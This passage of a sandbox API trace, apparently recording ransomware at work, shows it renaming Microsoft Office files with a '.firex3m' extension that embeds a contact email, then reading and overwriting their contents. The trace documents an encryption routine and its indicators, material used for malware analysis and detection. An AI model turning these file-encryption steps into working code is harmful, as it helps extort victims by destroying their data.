ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbd12, dwReserved0=0x9807496, dwReserved1=0x72531d8, cFileName="Reflection.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="REFLEC~1.FIR")) returned 0x6d53c0 [0142.564] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0142.564] Sleep (dwMilliseconds=0x1) [0143.866] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVAC.VSL", len=0x3d | out: pbstr=0x6afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVAC.VSL") returned 1 [0143.866] GetProcessHeap () returned 0x630000 [0143.866] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26a8) returned 0x71f7c78 [0143.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvac.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0145.430] CloseHandle (hObject=0x6c0) returned 1 [0145.430] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.430] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVAC.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvac.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVAC.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvac.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0147.113] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVAC.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x30ca74c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x30ca74c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x30ca74c, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HVACVS~1.FIR")) returned 0x6d5280 [0147.113] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0147.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVAC.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\hvac.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0147.113] GetProcessHeap () returned 0x630000 [0147.113] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb061) returned 0x70234e0 [0147.113] GetProcessHeap () returned 0x630000 [0147.113] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb061) returned 0x702e550 [0147.113] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.113] ReadFile (in: hFile=0x6c0, lpBuffer=0x70234e0, nNumberOfBytesToRead=0xb040, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70234e0*, lpNumberOfBytesRead=0x6afff0c*=0xb040, lpOverlapped=0x0) returned 1 [0154.532] GetProcessHeap () returned 0x630000 [0154.532] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feefd0 [0154.532] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.532] WriteFile (in: hFile=0x6c0, lpBuffer=0x702e550*, nNumberOfBytesToWrite=0xb040, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x702e550*, lpNumberOfBytesWritten=0x6afff0c*=0xb040, lpOverlapped=0x0) returned 1 [0154.533] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.533] WriteFile (in: hFile=0x6c0, lpBuffer=0x703958f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x703958f*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0154.533] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.533] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0154.533] CloseHandle (hObject=0x6c0) returned 1 [0154.533] GetProcessHeap () returned 0x630000 [0154.533] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x702e550 | out: hHeap=0x630000) returned 1 [0154.536] GetProcessHeap () returned 0x630000 [0154.536] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70234e0 | out: hHeap=0x630000) returned 1 [0154.537] GetProcessHeap () returned 0x630000 [0154.537] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feefd0 | out: hHeap=0x630000) returned 1 [0154.538] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\HVAC.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x30ca74c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x30ca74c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x220ef15e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb074, dwReserved0=0x9807496, dwReserved1=0x70234d8, cFileName="HVAC.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HVACVS~1.FIR")) returned 0x6d52c0 [0154.539] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0154.539] Sleep (dwMilliseconds=0x1) [0154.550] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL", len=0x46 | out: pbstr=0x6afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL") returned 1 [0154.550] GetProcessHeap () returned 0x630000 [0154.550] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x713f7f0, Size=0x2b74) returned 0x713f7f0 [0154.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\rpt2htm4.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0154.556] CloseHandle (hObject=0x678) returned 1 [0154.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0154.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\rpt2htm4.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\rpt2htm4.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0154.564] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0154.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1295fc19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1295fc19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x104cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RPT2HTM4.XSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RPT2HT~1.FIR")) returned 0x6d4ec0 [0154.639] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0154.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\rpt2htm4.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0154.684] GetProcessHeap () returned 0x630000 [0154.684] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f98110 [0154.685] GetProcessHeap () returned 0x630000 [0154.685] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0154.685] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.685] ReadFile (in: hFile=0x620, lpBuffer=0x6f98110, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f98110*, lpNumberOfBytesRead=0x6afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0160.597] GetProcessHeap () returned 0x630000 [0160.597] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175df0 [0160.597] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.597] WriteFile (in: hFile=0x620, lpBuffer=0x72b84a0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesWritten=0x6afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0160.597] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.597] WriteFile (in: hFile=0x620, lpBuffer=0x72c389f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c389f*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.598] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.598] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.598] CloseHandle (hObject=0x620) returned 1 [0160.598] GetProcessHeap () returned 0x630000 [0160.598] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0160.598] GetProcessHeap () returned 0x630000 [0160.598] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f98110 | out: hHeap=0x630000) returned 1 [0160.598] GetProcessHeap () returned 0x630000 [0160.598] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175df0 | out: hHeap=0x630000) returned 1 [0163.005] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0163.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\RPT2HTM4.XSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1295fc19, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x25ac2674, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x104ef, dwReserved0=0x9807496, dwReserved1=0x6f98108, cFileName="RPT2HTM4.XSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RPT2HT~1.FIR")) returned 0x6d5340 [0163.005] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0163.005] Sleep (dwMilliseconds=0x1) [0164.588] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x6afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\PowerPivotExcelClientAddIn.rll") returned 1 [0164.588] GetProcessHeap () returned 0x630000 [0164.588] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bf8) returned 0x707d3d0 [0164.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1045\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0165.871] CloseHandle (hObject=0x414) returned 1 [0165.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1045\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1045\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.939] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5540 [0168.939] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0168.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1045\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0168.939] GetProcessHeap () returned 0x630000 [0168.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f3df90 [0168.940] GetProcessHeap () returned 0x630000 [0168.940] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f493c0 [0168.941] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.941] ReadFile (in: hFile=0x414, lpBuffer=0x6f3df90, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3df90*, lpNumberOfBytesRead=0x6afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.201] GetProcessHeap () returned 0x630000 [0178.201] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0178.201] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.201] WriteFile (in: hFile=0x414, lpBuffer=0x6f493c0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f493c0*, lpNumberOfBytesWritten=0x6afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.201] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.202] WriteFile (in: hFile=0x414, lpBuffer=0x6f547bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f547bf*, lpNumberOfBytesWritten=0x6afff0c*=0x20, lpOverlapped=0x0) returned 1 [0178.202] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.202] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6afff0c*=0x4, lpOverlapped=0x0) returned 1 [0178.202] CloseHandle (hObject=0x414) returned 1 [0178.202] GetProcessHeap () returned 0x630000 [0178.202] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f493c0 | out: hHeap=0x630000) returned 1 [0178.202] GetProcessHeap () returned 0x630000 [0178.202] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3df90 | out: hHeap=0x630000) returned 1 [0178.208] GetProcessHeap () returned 0x630000 [0178.208] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0178.208] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0178.209] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affcc4 | out: lpFindFileData=0x6affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x302a661a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x114e4, dwReserved0=0x9807496, dwReserved1=0x6f3df88, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5480 [0178.209] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0178.209] Sleep (dwMilliseconds=0x1) [0180.236] SysReAllocStringLen (in: pbstr=0x6afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\LocalizedStrings.xml", len=0x6b | out: pbstr=0x6afff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\LocalizedStrings.xml") returned 1 [0180.236] GetProcessHeap () returned 0x630000 [0180.236] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2aa8) returned 0x707d3d0 [0180.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-cyrl\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0182.841] CloseHandle (hObject=0x700) returned 1 [0182.841] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-cyrl\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-cyrl\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0187.815] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.815] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6affc6c | out: lpFindFileData=0x6affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10b8, dwReserved0=0x6e006f, dwReserved1=0x610074, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0187.815] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0187.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-cyrl\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0187.815] GetProcessHeap () returned 0x630000 [0187.816] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10c1) returned 0x714508 [0187.816] GetProcessHeap () returned 0x630000 [0187.816] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10c1) returned 0x67be28 [0187.816] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.816] ReadFile (in: hFile=0x700, lpBuffer=0x714508, nNumberOfBytesToRead=0x10a0, lpNumberOfBytesRead=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesRead=0x6afff0c*=0x10a0, lpOverlapped=0x0) returned 1 [0187.833] GetProcessHeap () returned 0x630000 [0187.833] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0187.833] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.833] WriteFile (in: hFile=0x700, lpBuffer=0x67be28*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x67be28*, lpNumberOfBytesWritten=0x6afff0c*=0x10a0, lpOverlapped=0x0) returned 1 [0187.833] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.833] WriteFile (in: hFile=0x700, lpBuffer=0x67cec7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6afff0c, lpOverlapped=0x0 | out: lpBuffer=0x67cec7*, 